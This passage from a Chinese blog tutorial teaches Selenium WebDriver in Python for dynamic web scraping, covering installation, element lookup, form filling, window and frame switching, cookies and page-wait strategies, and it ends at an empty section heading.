                    <p>Selenium 2，又名 WebDriver，它的主要新功能是集成了 Selenium 1.0 以及 WebDriver（WebDriver 曾经是 Selenium 的竞争对手）。也就是说 Selenium 2 是 Selenium 和 WebDriver 两个项目的合并，即 Selenium 2 兼容 Selenium，它既支持 Selenium API 也支持 WebDriver API。</p>
                  </blockquote>
                  <p>更多详情可以查看 Webdriver 的简介。 <a href="http://www.51testing.com/zhuanti/webdriver.htm" target="_blank" rel="noopener">Webdriver</a> 嗯，通过以上描述，我们应该对 Selenium 有了大概对认识，接下来就让我们开始进入动态爬取的新世界吧。 本文参考内容来自 <a href="http://www.seleniumhq.org/docs/index.jsp" target="_blank" rel="noopener">Selenium官网</a> <a href="http://selenium-python.readthedocs.org/index.html" target="_blank" rel="noopener">SeleniumPython文档</a></p>
                  <h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2>
                  <p>首先安装 Selenium</p>
                  <figure class="highlight cmake">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">pip <span class="keyword">install</span> selenium</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>或者下载源码 <a href="https://pypi.python.org/pypi/selenium" target="_blank" rel="noopener">下载源码</a> 然后解压后运行下面的命令进行安装</p>
                  <figure class="highlight vim">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">python</span> setup.<span class="keyword">py</span> install</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>安装好了之后我们便开始探索抓取方法了。</p>
                  <h2 id="快速开始"><a href="#快速开始" class="headerlink" title="快速开始"></a>快速开始</h2>
                  <h3 id="初步体验"><a href="#初步体验" class="headerlink" title="初步体验"></a>初步体验</h3>
                  <p>我们先来一个小例子感受一下 Selenium，这里我们用 Chrome 浏览器来测试，方便查看效果，到真正爬取的时候换回 PhantomJS 即可。</p>
                  <figure class="highlight pgsql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> selenium <span class="keyword">import</span> webdriver</span><br><span class="line"></span><br><span class="line">browser = webdriver.Chrome()</span><br><span class="line">browser.<span class="keyword">get</span>(<span class="string">'http://www.baidu.com/'</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行这段代码，会自动打开浏览器，然后访问百度。 如果程序执行错误，浏览器没有打开，那么应该是没有装 Chrome 浏览器或者 Chrome 驱动没有配置在环境变量里。下载驱动，然后将驱动文件路径配置在环境变量即可。 <a href="https://sites.google.com/a/chromium.org/chromedriver/downloads" target="_blank" rel="noopener">浏览器驱动下载</a> 比如我的是 Mac OS，就把下载好的文件放在 /usr/bin 目录下就可以了。</p>
                  <h3 id="模拟提交"><a href="#模拟提交" class="headerlink" title="模拟提交"></a>模拟提交</h3>
                  <p>下面的代码实现了模拟提交提交搜索的功能，首先等页面加载完成，然后输入到搜索框文本，点击提交。</p>
                  <figure class="highlight sqf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> selenium import webdriver</span><br><span class="line"><span class="keyword">from</span> selenium.webdriver.common.keys import Keys</span><br><span class="line"></span><br><span class="line"><span class="built_in">driver</span> = webdriver.Chrome()</span><br><span class="line"><span class="built_in">driver</span>.get(<span class="string">"http://www.python.org"</span>)</span><br><span class="line"><span class="built_in">assert</span> <span class="string">"Python"</span> <span class="built_in">in</span> <span class="built_in">driver</span>.title</span><br><span class="line">elem = <span class="built_in">driver</span>.find_element_by_name(<span class="string">"q"</span>)</span><br><span class="line">elem.send_keys(<span class="string">"pycon"</span>)</span><br><span class="line">elem.send_keys(Keys.RETURN)</span><br><span class="line">print <span class="built_in">driver</span>.page_source</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>同样是在 Chrome 里面测试，感受一下。</p>
                  <blockquote>
                    <p>The driver.get method will navigate to a page given by the URL. WebDriver will wait until the page has fully loaded (that is, the “onload” event has fired) before returning control to your test or script. It’s worth noting that if your page uses a lot of AJAX on load then WebDriver may not know when it has completely loaded.</p>
                  </blockquote>
                  <p>其中 driver.get 方法会打开请求的URL，WebDriver 会等待页面完全加载完成之后才会返回，即程序会等待页面的所有内容加载完成，JS渲染完毕之后才继续往下执行。注意：如果这里用到了特别多的 Ajax 的话，程序可能不知道是否已经完全加载完毕。</p>
                  <blockquote>
                    <p>WebDriver offers a number of ways to find elements using one of the find<em>element_by</em>* methods. For example, the input text element can be located by its name attribute using find_element_by_name method</p>
                  </blockquote>
                  <p>WebDriver 提供了许多寻找网页元素的方法，譬如 find<em>element_by</em>* 的方法。例如一个输入框可以通过 find_element_by_name 方法寻找 name 属性来确定。</p>
                  <blockquote>
                    <p>Next we are sending keys, this is similar to entering keys using your keyboard. Special keys can be send using Keys class imported from selenium.webdriver.common.keys</p>
                  </blockquote>
                  <p>然后我们输入来文本然后模拟点击了回车，就像我们敲击键盘一样。我们可以利用 Keys 这个类来模拟键盘输入。 最后最重要的一点 <strong>获取网页渲染后的源代码。</strong> 输出 <strong>page_source</strong> 属性即可。 这样，我们就可以做到网页的动态爬取了。</p>
                  <h3 id="测试用例"><a href="#测试用例" class="headerlink" title="测试用例"></a>测试用例</h3>
                  <p>有了以上特性，我们当然可以用来写测试样例了。</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">import unittest</span><br><span class="line">from selenium import webdriver</span><br><span class="line">from selenium.webdriver.common.keys import Keys</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">PythonOrgSearch</span>(<span class="title">unittest</span>.<span class="title">TestCase</span>):</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">setUp</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">self</span>.driver = webdriver.Chrome()</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">test_search_in_python_org</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        driver = <span class="keyword">self</span>.driver</span><br><span class="line">        driver.get(<span class="string">"http://www.python.org"</span>)</span><br><span class="line">        <span class="keyword">self</span>.assertIn(<span class="string">"Python"</span>, driver.title)</span><br><span class="line">        elem = driver.find_element_by_name(<span class="string">"q"</span>)</span><br><span class="line">        elem.send_keys(<span class="string">"pycon"</span>)</span><br><span class="line">        elem.send_keys(Keys.RETURN)</span><br><span class="line">        assert <span class="string">"No results found."</span> <span class="keyword">not</span> <span class="keyword">in</span> driver.page_source</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">tearDown</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">self</span>.driver.close()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name_<span class="number">_</span> == <span class="string">"__main__"</span><span class="symbol">:</span></span><br><span class="line">    unittest.main()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行程序，同样的功能，我们将其封装为测试标准类的形式。</p>
                  <blockquote>
                    <p>The test case class is inherited from unittest.TestCase. Inheriting from TestCase class is the way to tell unittest module that this is a test case. The setUp is part of initialization, this method will get called before every test function which you are going to write in this test case class. The test case method should always start with characters test. The tearDown method will get called after every test method. This is a place to do all cleanup actions. You can also call quit method instead of close. The quit will exit the entire browser, whereas close will close a tab, but if it is the only tab opened, by default most browser will exit entirely.</p>
                  </blockquote>
                  <p>测试用例是继承了 unittest.TestCase 类，继承这个类表明这是一个测试类。setUp方法是初始化的方法，这个方法会在每个测试类中自动调用。每一个测试方法命名都有规范，必须以 test 开头，会自动执行。最后的 tearDown 方法会在每一个测试方法结束之后调用。这相当于最后的析构方法。在这个方法里写的是 close 方法，你还可以写 quit 方法。不过 close 方法相当于关闭了这个 TAB 选项卡，然而 quit 是退出了整个浏览器。当你只开启了一个 TAB 选项卡的时候，关闭的时候也会将整个浏览器关闭。</p>
                  <h2 id="页面操作"><a href="#页面操作" class="headerlink" title="页面操作"></a>页面操作</h2>
                  <h3 id="页面交互"><a href="#页面交互" class="headerlink" title="页面交互"></a>页面交互</h3>
                  <p>仅仅抓取页面没有多大卵用，我们真正要做的是做到和页面交互，比如点击，输入等等。那么前提就是要找到页面中的元素。WebDriver提供了各种方法来寻找元素。例如下面有一个表单输入框。</p>
                  <figure class="highlight pgsql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&lt;<span class="keyword">input</span> <span class="keyword">type</span>="text" <span class="type">name</span>="passwd" id="passwd-id" /&gt;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>我们可以这样获取它</p>
                  <figure class="highlight ini">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attr">element</span> = driver.find_element_by_id(<span class="string">"passwd-id"</span>)</span><br><span class="line"><span class="attr">element</span> = driver.find_element_by_name(<span class="string">"passwd"</span>)</span><br><span class="line"><span class="attr">element</span> = driver.find_elements_by_tag_name(<span class="string">"input"</span>)</span><br><span class="line"><span class="attr">element</span> = driver.find_element_by_xpath(<span class="string">"//input[@id='passwd-id']"</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>你还可以通过它的文本链接来获取，但是要小心，文本必须完全匹配才可以，所以这并不是一个很好的匹配方式。 而且你在用 xpath 的时候还需要注意的是，如果有多个元素匹配了 xpath，它只会返回第一个匹配的元素。如果没有找到，那么会抛出 NoSuchElementException 的异常。 获取了元素之后，下一步当然就是向文本输入内容了，可以利用下面的方法</p>
                  <figure class="highlight less">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">element</span><span class="selector-class">.send_keys</span>(<span class="string">"some text"</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>同样你还可以利用 Keys 这个类来模拟点击某个按键。</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">element</span><span class="selector-class">.send_keys</span>("<span class="selector-tag">and</span> <span class="selector-tag">some</span>", <span class="selector-tag">Keys</span><span class="selector-class">.ARROW_DOWN</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>你可以对任何获取到到元素使用 send_keys 方法，就像你在 GMail 里面点击发送键一样。不过这样会导致的结果就是输入的文本不会自动清除。所以输入的文本都会在原来的基础上继续输入。你可以用下面的方法来清除输入文本的内容。</p>
                  <figure class="highlight livecodeserver">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">element</span>.<span class="built_in">clear</span>()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这样输入的文本会被清除。</p>
                  <h3 id="填充表单"><a href="#填充表单" class="headerlink" title="填充表单"></a>填充表单</h3>
                  <p>我们已经知道了怎样向文本框中输入文字，但是其它的表单元素呢？例如下拉选项卡的的处理可以如下</p>
                  <figure class="highlight sql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">element = driver.find_element_by_xpath("//<span class="keyword">select</span>[@<span class="keyword">name</span>=<span class="string">'name'</span>]<span class="string">")</span></span><br><span class="line"><span class="string">all_options = element.find_elements_by_tag_name("</span><span class="keyword">option</span><span class="string">")</span></span><br><span class="line"><span class="string">for option in all_options:</span></span><br><span class="line"><span class="string">    print("</span><span class="keyword">Value</span> <span class="keyword">is</span>: %s<span class="string">" % option.get_attribute("</span><span class="keyword">value</span><span class="string">"))</span></span><br><span class="line"><span class="string">    option.click()</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>首先获取了第一个 select 元素，也就是下拉选项卡。然后轮流设置了 select 选项卡中的每一个 option 选项。你可以看到，这并不是一个非常有效的方法。 其实 WebDriver 中提供了一个叫 Select 的方法，可以帮助我们完成这些事情。</p>
                  <figure class="highlight pgsql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> selenium.webdriver.support.ui <span class="keyword">import</span> <span class="keyword">Select</span></span><br><span class="line"><span class="keyword">select</span> = <span class="keyword">Select</span>(driver.find_element_by_name(<span class="string">'name'</span>))</span><br><span class="line"><span class="keyword">select</span>.select_by_index(<span class="keyword">index</span>)</span><br><span class="line"><span class="keyword">select</span>.select_by_visible_text("text")</span><br><span class="line"><span class="keyword">select</span>.select_by_value(<span class="keyword">value</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>如你所见，它可以根据索引来选择，可以根据值来选择，可以根据文字来选择。是十分方便的。 全部取消选择怎么办呢？很简单</p>
                  <figure class="highlight reasonml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">select = <span class="constructor">Select(<span class="params">driver</span>.<span class="params">find_element_by_id</span>('<span class="params">id</span>')</span>)</span><br><span class="line">select.deselect<span class="constructor">_all()</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这样便可以取消所有的选择。 另外我们还可以通过下面的方法获取所有的已选选项。</p>
                  <figure class="highlight ini">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attr">select</span> = Select(driver.find_element_by_xpath(<span class="string">"xpath"</span>))</span><br><span class="line"><span class="attr">all_selected_options</span> = select.all_selected_options</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>获取所有可选选项是</p>
                  <figure class="highlight pgsql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">options</span> = <span class="keyword">select</span>.<span class="keyword">options</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>如果你把表单都填好了，最后肯定要提交表单对吧。怎吗提交呢？很简单</p>
                  <figure class="highlight less">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">driver</span><span class="selector-class">.find_element_by_id</span>(<span class="string">"submit"</span>)<span class="selector-class">.click</span>()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这样就相当于模拟点击了 submit 按钮，做到表单提交。 当然你也可以单独提交某个元素</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">element</span><span class="selector-class">.submit</span>()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>方法，WebDriver 会在表单中寻找它所在的表单，如果发现这个元素并没有被表单所包围，那么程序会抛出 NoSuchElementException 的异常。</p>
                  <h3 id="元素拖拽"><a href="#元素拖拽" class="headerlink" title="元素拖拽"></a>元素拖拽</h3>
                  <p>要完成元素的拖拽，首先你需要指定被拖动的元素和拖动目标元素，然后利用 ActionChains 类来实现。</p>
                  <figure class="highlight pgsql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">element = driver.find_element_by_name("source")</span><br><span class="line">target = driver.find_element_by_name("target")</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> selenium.webdriver <span class="keyword">import</span> ActionChains</span><br><span class="line">action_chains = ActionChains(driver)</span><br><span class="line">action_chains.drag_and_drop(element, target).<span class="keyword">perform</span>()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这样就实现了元素从 source 拖动到 target 的操作。</p>
                  <h3 id="页面切换"><a href="#页面切换" class="headerlink" title="页面切换"></a>页面切换</h3>
                  <p>一个浏览器肯定会有很多窗口，所以我们肯定要有方法来实现窗口的切换。切换窗口的方法如下</p>
                  <figure class="highlight ceylon">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">driver.<span class="keyword">switch</span><span class="number">_</span>to<span class="number">_</span>window(<span class="string">"windowName"</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>另外你可以使用 window_handles 方法来获取每个窗口的操作对象。例如</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">for</span> <span class="selector-tag">handle</span> <span class="selector-tag">in</span> <span class="selector-tag">driver</span><span class="selector-class">.window_handles</span>:</span><br><span class="line">    <span class="selector-tag">driver</span><span class="selector-class">.switch_to_window</span>(<span class="selector-tag">handle</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>另外切换 frame 的方法如下</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">driver</span><span class="selector-class">.switch_to_frame</span>("<span class="selector-tag">frameName</span><span class="selector-class">.0</span><span class="selector-class">.child</span>")</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这样焦点会切换到一个 name 为 child 的 frame 上。</p>
                  <h3 id="弹窗处理"><a href="#弹窗处理" class="headerlink" title="弹窗处理"></a>弹窗处理</h3>
                  <p>当你出发了某个事件之后，页面出现了弹窗提示，那么你怎样来处理这个提示或者获取提示信息呢？</p>
                  <figure class="highlight ini">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attr">alert</span> = driver.switch_to_alert()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>通过上述方法可以获取弹窗对象。</p>
                  <h3 id="历史记录"><a href="#历史记录" class="headerlink" title="历史记录"></a>历史记录</h3>
                  <p>那么怎样来操作页面的前进和后退功能呢？</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">driver</span><span class="selector-class">.forward</span>()</span><br><span class="line"><span class="selector-tag">driver</span><span class="selector-class">.back</span>()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>嗯，简洁明了。</p>
                  <h3 id="Cookies处理"><a href="#Cookies处理" class="headerlink" title="Cookies处理"></a>Cookies处理</h3>
                  <p>为页面添加 Cookies，用法如下</p>
                  <figure class="highlight applescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment"># Go to the correct domain</span></span><br><span class="line">driver.<span class="keyword">get</span>(<span class="string">"http://www.example.com"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Now set the cookie. This one's valid for the entire domain</span></span><br><span class="line">cookie = &#123;‘<span class="built_in">name</span>’ : ‘foo’, ‘value’ : ‘bar’&#125;</span><br><span class="line">driver.add_cookie(cookie)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>获取页面 Cookies，用法如下</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment"># Go to the correct domain</span></span><br><span class="line">driver.<span class="builtin-name">get</span>(<span class="string">"http://www.example.com"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># And now output all the available cookies for the current URL</span></span><br><span class="line">driver.get_cookies()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>以上便是 Cookies 的处理，同样是非常简单的。</p>
                  <h2 id="元素选取"><a href="#元素选取" class="headerlink" title="元素选取"></a>元素选取</h2>
                  <p>关于元素的选取，有如下的API 单个元素选取</p>
                  <blockquote>
                    <ul>
                      <li>find_element_by_id</li>
                      <li>find_element_by_name</li>
                      <li>find_element_by_xpath</li>
                      <li>find_element_by_link_text</li>
                      <li>find_element_by_partial_link_text</li>
                      <li>find_element_by_tag_name</li>
                      <li>find_element_by_class_name</li>
                      <li>find_element_by_css_selector</li>
                    </ul>
                  </blockquote>
                  <p>多个元素选取</p>
                  <blockquote>
                    <ul>
                      <li>find_elements_by_name</li>
                      <li>find_elements_by_xpath</li>
                      <li>find_elements_by_link_text</li>
                      <li>find_elements_by_partial_link_text</li>
                      <li>find_elements_by_tag_name</li>
                      <li>find_elements_by_class_name</li>
                      <li>find_elements_by_css_selector</li>
                    </ul>
                  </blockquote>
                  <p>另外还可以利用 By 类来确定哪种选择方式</p>
                  <figure class="highlight pgsql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> selenium.webdriver.common.<span class="keyword">by</span> <span class="keyword">import</span> <span class="keyword">By</span></span><br><span class="line"></span><br><span class="line">driver.find_element(<span class="keyword">By</span>.XPATH, <span class="string">'//button[text()="Some text"]'</span>)</span><br><span class="line">driver.find_elements(<span class="keyword">By</span>.XPATH, <span class="string">'//button'</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>By 类的一些属性如下</p>
                  <figure class="highlight ini">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attr">ID</span> = <span class="string">"id"</span></span><br><span class="line"><span class="attr">XPATH</span> = <span class="string">"xpath"</span></span><br><span class="line"><span class="attr">LINK_TEXT</span> = <span class="string">"link text"</span></span><br><span class="line"><span class="attr">PARTIAL_LINK_TEXT</span> = <span class="string">"partial link text"</span></span><br><span class="line"><span class="attr">NAME</span> = <span class="string">"name"</span></span><br><span class="line"><span class="attr">TAG_NAME</span> = <span class="string">"tag name"</span></span><br><span class="line"><span class="attr">CLASS_NAME</span> = <span class="string">"class name"</span></span><br><span class="line"><span class="attr">CSS_SELECTOR</span> = <span class="string">"css selector"</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>更详细的元素选择方法参见官方文档 <a href="http://selenium-python.readthedocs.org/en/latest/locating-elements.html" target="_blank" rel="noopener">元素选择</a></p>
                  <h2 id="页面等待"><a href="#页面等待" class="headerlink" title="页面等待"></a>页面等待</h2>
                  <p>这是非常重要的一部分，现在的网页越来越多采用了 Ajax 技术，这样程序便不能确定何时某个元素完全加载出来了。这会让元素定位困难而且会提高产生 ElementNotVisibleException 的概率。 所以 Selenium 提供了两种等待方式，一种是隐式等待，一种是显式等待。 隐式等待是等待特定的时间，显式等待是指定某一条件直到这个条件成立时继续执行。</p>
                  <h3 id="显式等待"><a href="#显式等待" class="headerlink" title="显式等待"></a>显式等待</h3>
                  <p>显式等待指定某个条件，然后设置最长等待时间。如果在这个时间还没有找到元素，那么便会抛出异常了。</p>
                  <figure class="highlight vbnet">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> selenium import webdriver</span><br><span class="line"><span class="keyword">from</span> selenium.webdriver.common.<span class="keyword">by</span> import <span class="keyword">By</span></span><br><span class="line"><span class="keyword">from</span> selenium.webdriver.support.ui import WebDriverWait</span><br><span class="line"><span class="keyword">from</span> selenium.webdriver.support import expected_conditions <span class="keyword">as</span> EC</span><br><span class="line"></span><br><span class="line">driver = webdriver.Chrome()</span><br><span class="line">driver.<span class="keyword">get</span>(<span class="string">"http://somedomain/url_that_delays_loading"</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    element = WebDriverWait(driver, <span class="number">10</span>).<span class="keyword">until</span>(</span><br><span class="line">        EC.presence_of_element_located((<span class="keyword">By</span>.ID, <span class="string">"myDynamicElement"</span>))</span><br><span class="line">    )</span><br><span class="line"><span class="keyword">finally</span>:</span><br><span class="line">    driver.quit()</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>程序默认会 500ms 调用一次来查看元素是否已经生成，如果本来元素就是存在的，那么会立即返回。 下面是一些内置的等待条件，你可以直接调用这些条件，而不用自己写某些等待条件了。</p>
                  <blockquote>
                    <ul>
                      <li>title_is</li>
                      <li>title_contains</li>
                      <li>presence_of_element_located</li>
                      <li>visibility_of_element_located</li>
                      <li>visibility_of</li>
                      <li>presence_of_all_elements_located</li>
                      <li>text_to_be_present_in_element</li>
                      <li>text_to_be_present_in_element_value</li>
                      <li>frame_to_be_available_and_switch_to_it</li>
                      <li>invisibility_of_element_located</li>
                      <li>element_to_be_clickable - it is Displayed and Enabled.</li>
                      <li>staleness_of</li>
                      <li>element_to_be_selected</li>
                      <li>element_located_to_be_selected</li>
                      <li>element_selection_state_to_be</li>
                      <li>element_located_selection_state_to_be</li>
                      <li>alert_is_present</li>
                    </ul>
                  </blockquote>
                  <figure class="highlight livecodeserver">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="built_in">from</span> selenium.webdriver.support import expected_conditions <span class="keyword">as</span> EC</span><br><span class="line"></span><br><span class="line"><span class="built_in">wait</span> = WebDriverWait(driver, <span class="number">10</span>)</span><br><span class="line"><span class="keyword">element</span> = <span class="built_in">wait</span>.<span class="keyword">until</span>(EC.element_to_be_clickable((By.ID,<span class="string">'someid'</span>)))</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <h3 id="隐式等待"><a href="#隐式等待" class="headerlink" title="隐式等待"></a>隐式等待</h3>
                  <p>隐式等待比较简单，就是简单地设置一个等待时间，单位为秒。</p>
                  <figure class="highlight sqf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> selenium import webdriver</span><br><span class="line"></span><br><span class="line"><span class="built_in">driver</span> = webdriver.Chrome()</span><br><span class="line"><span class="built_in">driver</span>.implicitly_wait(<span class="number">10</span>) <span class="meta"># seconds</span></span><br><span class="line"><span class="built_in">driver</span>.get(<span class="string">"http://somedomain/url_that_delays_loading"</span>)</span><br><span class="line">myDynamicElement = <span class="built_in">driver</span>.find_element_by_id(<span class="string">"myDynamicElement"</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>当然如果不设置，默认等待时间为0。</p>
                  <h2 id="程序框架"><a href="#程序框架" class="headerlink" title="程序框架"></a>程序框架</h2>
